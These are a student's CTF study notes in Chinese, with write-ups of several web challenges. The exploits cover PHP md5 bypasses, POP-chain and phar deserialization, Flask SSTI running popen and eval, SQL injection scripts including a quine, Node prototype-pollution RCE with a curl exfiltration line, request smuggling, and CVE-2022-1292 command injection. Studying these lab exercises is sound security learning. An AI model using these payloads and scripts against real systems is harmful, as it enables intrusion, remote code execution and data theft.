2023-3-6 WEEK1 学习
WEEK1 学习
WEB
[NSSCTF 2022 Spring Recruit]babyphp
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?>
分析代码可以知道得到flag需要满足的条件如下
1、传参数a的方式是POST传参,传入的值不能是0-9,可以使用数组绕过
2、b1和b2需要他们的值不相等但是他们的md5值相等
3、c1和c2的字符串md5值弱相等,不能使用数组绕过了
QNKCDZO
0e830400451993494058024219903391
 
s878926199a
0e545993274517709034328855841020
 
s155964671a
0e342768416822451524974117254469
 
s214587387a
0e848240448830537924465865611904
 
s214587387a
0e848240448830537924465865611904
 
s878926199a
0e545993274517709034328855841020
payload:a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s214587387a
[NISACTF 2022]popchains
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }
    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
这题的几个魔术方法
__toString()	当对象在需要转换成字符串时,会调用此方法
__wakeup()		当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象
__invoke()		把对象当方法用的时候此方法会被调用
__construct() 	对象初始化时会调用此方法(对于内核而言是指初始化完成后调用此方法)
__get($name) 	获取对象不存在的属性或无法访问的属性时调用
include的执行需要通过__invoke(),它包含的内容来自变量var根据后面的提示应该是要用php伪协议读取flag.php里面的内容
第一步应该执行Make_a_Change 的 __get()来调用Try_Work_Hard 的 __invoke()让 $effort 指向 Try_Work_Hard 的对象观察 Road_is_Long ,发现可以通过 __toString() 启动 Make_a_Change 中的 __get()
所以 $string 指向 Make_a_Change 的对象这里要对 Road_is_Long new 两个对象出来,一个用于执行 __toString() ,另一个通过 __wakeup() 然后字符串匹配来调用前者
<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __toString(){
        return $this->string->page;
    }
    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=/flag";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
//开造
$a = new Road_is_Long;
$tmp = new Road_is_Long;
$b = new Try_Work_Hard;
$c = new Make_a_Change;
$c->effort=$b;
$tmp->string=$c;
$a->page=$tmp;
echo serialize($a);
[NCTF 2018]flask真香
发现过滤的很多,存在违禁词时会返回500状态,过滤了:
class
subclasses
config
args
request
open
eval
import
可以找到session对象,并且利用其dict的类型来通过字典的键名(键名为字符串,可拼接)来寻找我们需要的类。
通过字符串拼接来绕过过滤,构造:{{session['cla'+'ss']}}然后不断拼接__bases__[0]来一层一层向上查找基类,直到找到object基类:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}
再利用__subclasses__去访问object基类下的所有子类:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}
我们尝试寻找可以执行命令的子类,主要应该考虑os类,在页面中搜索后找到os._wrap_close类,定位其位置并使用__init__来将其实例化,再使用__globals__来查看所有变量:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}
并且我们也在该类下找到了可以用于执行命令的popen函数:
但是popen也会被过滤,还是使用字符串拼接的方法绕过:
{{""['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}
{{""['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}
遇到过滤了的关键字就用拼接来绕过
[SWPUCTF 2021 新生赛]sql
看题目的title发现参数就是wllm,先尝试输入一个数字进去,有回显,应该是一个数字型sql注入
?wllm=1'/**/'order/**/by/**/3#//回显正常,长度为3
?wllm=-1'union/** select/**/1,2,3#//找回显位置
?wllm=-1'union/**/select/**/1,2,database()#//查当前数据库
?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23//查表test_db数据库下的表
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/ information_schema.columns/**/where/**/table_schema/**/like/**/database()#// 查LTLT表下的字段
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag#//得到flag
[西湖论剑 2022]real_ez_node
在index.js里面看到这么一行代码,发现过滤了__proto__,猜测应该是原型链污染,可以使用constructor.prototype绕过。
if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
在/copy路由中发现ip被限制,一开始觉得可以通过改HTTP头来伪造的,但是发现var ip = req.connection.remoteAddress;说明不能用请求头来伪造ip,应该是要用/curl路由发送SSRF来打copy路由了。这里很明显用 safeobj.expand 把接收到的东西给放到 user 里了。
expand: function (obj, path, thing) {
      if (!path || typeof thing === 'undefined') {
        return;
      }
      obj = isObject(obj) && obj !== null ? obj : {};
      var props = path.split('.');
      if (props.length === 1) {
        obj[props.shift()] = thing;
      } else {
        var prop = props.shift();
        if (!(prop in obj)) {
          obj[prop] = {};
        }
        _safe.expand(obj[prop], props.join('.'), thing);
      }
    },
expand函数存在原型链污染漏洞
const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);
for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);
因为这个是ejs的,所以可以直接用它的漏洞
{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}
 
{"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}
编写exp
import requests
import urllib.parse
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 200
Connection: close
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt');var __tmp2//"}
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100 + ord(i))
    return ret
payload_enc = payload_encode(payload)
print(payload_enc)
r = requests.get('http://1.14.71.254:28606/curl?q=' + urllib.parse.quote(payload_enc))
print(r.text)
[CISCN 2019华北Day1]Web1
这题一打开是一个登录界面,先注册一个账号进入,发现是一个网盘管理系统,看到上传文件先上传一下,上传了一个图片码,但是找不到路径,利用不了。发现还有一个下载和一个删除操作,在下载的时候抓包发现一个任意文件下载漏洞
- chdir() 现实目录跳跃,解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。
<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
发现里面包含的是class.php
<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
    public function detele() {
        unlink($this->filename);
    }
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>
 public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
看到这个一开始以为可以用sql注入,后来发现USER类里用了bind_param()绑定了username这个变量,所以是不存在sql注入的
在class.php里面找到了file_get_content这个函数,发现这个函数在另外两个里面也用到了,if判断里存在open方法,且该方法存在file_exists可以触发反序列化,但是由于不允许有flag字符,所以不能用close()方法来进行任意文件读取,这也说明找准了做题的思路。
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。
当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __call($func, $args)函数,其中$func=Name。然后让
$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。
foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
- foreach ($this->results as $filename => $result)每次把每个一级数组的值,传递给- $result,即filename1[]
- foreach ($result as $func => $value)每次把每个二级数组的值,传递给- $value
- echo table最后打印出来全部数据
<?php
class User {
    public $db;
}
class File{
	public $filename = '/flag.txt';
}
class FileList {
    private $files;
    private $results;
    private $funcs;
	public function __construct() {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
	}
}
$o = new User();
$o->db =(new FileList());
echo serialize($o);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
生成phar文件改后缀为jpg,在delete操作中用phar协议读取。
[2021第五空间智能安全大赛] yet_another_mysql_injection
打开题目是一个登录页面,f12发现提示,得到源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}
if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
分析源码发现只有password这个是可控的,但是在看下去发现要输入的和数据库里面的完全一致才能得到flag,尝试一下密码爆破结果成功了
sleep 可以用benchmark代替
 
<,> 可以用least(),greatest()代替
 
=,in 可以用like代替
 
substr 可以用mid代替
空格 可以用/**/代替
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28725/index.php"
    flag = ""
    while True:
        for i in alp:
            data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
            resp = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "something wrong" not in resp.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
get_pass()
后来看了一下别人的wp发现好像不是这么做的0.0,用的是quine注入,正好借此学习了一下这个注入方式。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证$row['password'] === $password
replace(object,search,replace)
把object对象中出现的search全部替换成replace
CHAR(34)="
CHAR(39)='
CHAR(46)=.
select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+
mysql> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+
Quine基本形式:
replace(replace(‘str’,char(34),char(39)),char(46),‘str’)
先将str里的双引号替换成单引号,再用str替换str里的.
str基本形式(可以理解成上面的".")
replace(replace(".",char(34),char(39)),char(46),".")
完整的Quine就是Quine基本形式+str基本形式
payload:1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
[CISCN 2022 初赛] online_crt
CVE-2022-1292,主要思路就是生成证书之后,去利用proxy路由请求go server去修改证书的名称为反引号包裹的命令,然后再去访问Python的createlink路由从而调用c_rehash来触发RCE
下载压缩包看app.py源码,给了四个路由/getcrt这个是生成证书的路径,/createlink这个里面用了一个c_rehash的命令,不知道是什么意思,倒是搜出来了一堆的wp,/proxy路由由用户构造报文,可以crlf,附件中还给了goserver看看源码
/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
    Host: test_api_host
    User-Agent: Guest
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    '''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()
c_rehash
题目中出现了 c_rehash
c_rehash是openssl中的一个用perl编写的脚本工具
用于批量创建证书等文件 hash命名的符号链接
最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)
经过搜索网上并没有公开的exp
只能通过diff进行分析
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8
这个地方对文件名的过滤不严格,没有过滤反引号就直接将文件名拼接到了命令里面
sub hash_dir {
    my %hashlist;
    print "Doing $_[0]\n";
    chdir $_[0];
    opendir(DIR, ".");
    my @flist = sort readdir(DIR);
    closedir DIR;
    if ( $removelinks ) {
        # Delete any existing symbolic links
        foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
            if (-l $_) {
                print "unlink $_" if $verbose;
                unlink $_ || warn "Can't unlink $_, $!\n";
            }
        }
    }
    FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
        # Check to see if certificates and/or CRLs present.
        my ($cert, $crl) = check_file($fname);
        if (!$cert && !$crl) {
            print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
            next;
        }
        link_hash_cert($fname) if ($cert);
        link_hash_crl($fname) if ($crl);
    }
}
发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查
利用条件
- 执行c_rehash 目标目录下文件可控
- 文件后缀符合要求
- 文件内容必须包含证书或者是吊销列表
- 文件名可控
题目中生成证书的功能可以创建一个满足要求的文件
继续看源码,go后端有一个admin路由,用于重命名证书文件
func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host )
}
为了实现可控的文件名 我们需要调用go的重命名功能,go的路由在重命名前有两个校验,c.Request.URL.RawPath != “” && c.Request.Host == “admin”,首先需要绕过这两个验证
Request.URL.RawPath需要我们的路由中存在有编码的内容才有数据,所以尝试构造包
python 在代理请求时直接使用了socket 发送raw数据包,在数据包{uri}处没有过滤,所以我们可以直接在uri注入一个host头来替换原先的头
构造利用链
1、请求/getcrt路由,生成一个证书,返回证书路径
2、请求 /proxy 修改证书名为恶意文件名
3、请求/createlink 触发 c_rehash RCE
payload:uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj.crt
最后curl一下static/crt/jnyghj得到flag
 
                    
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号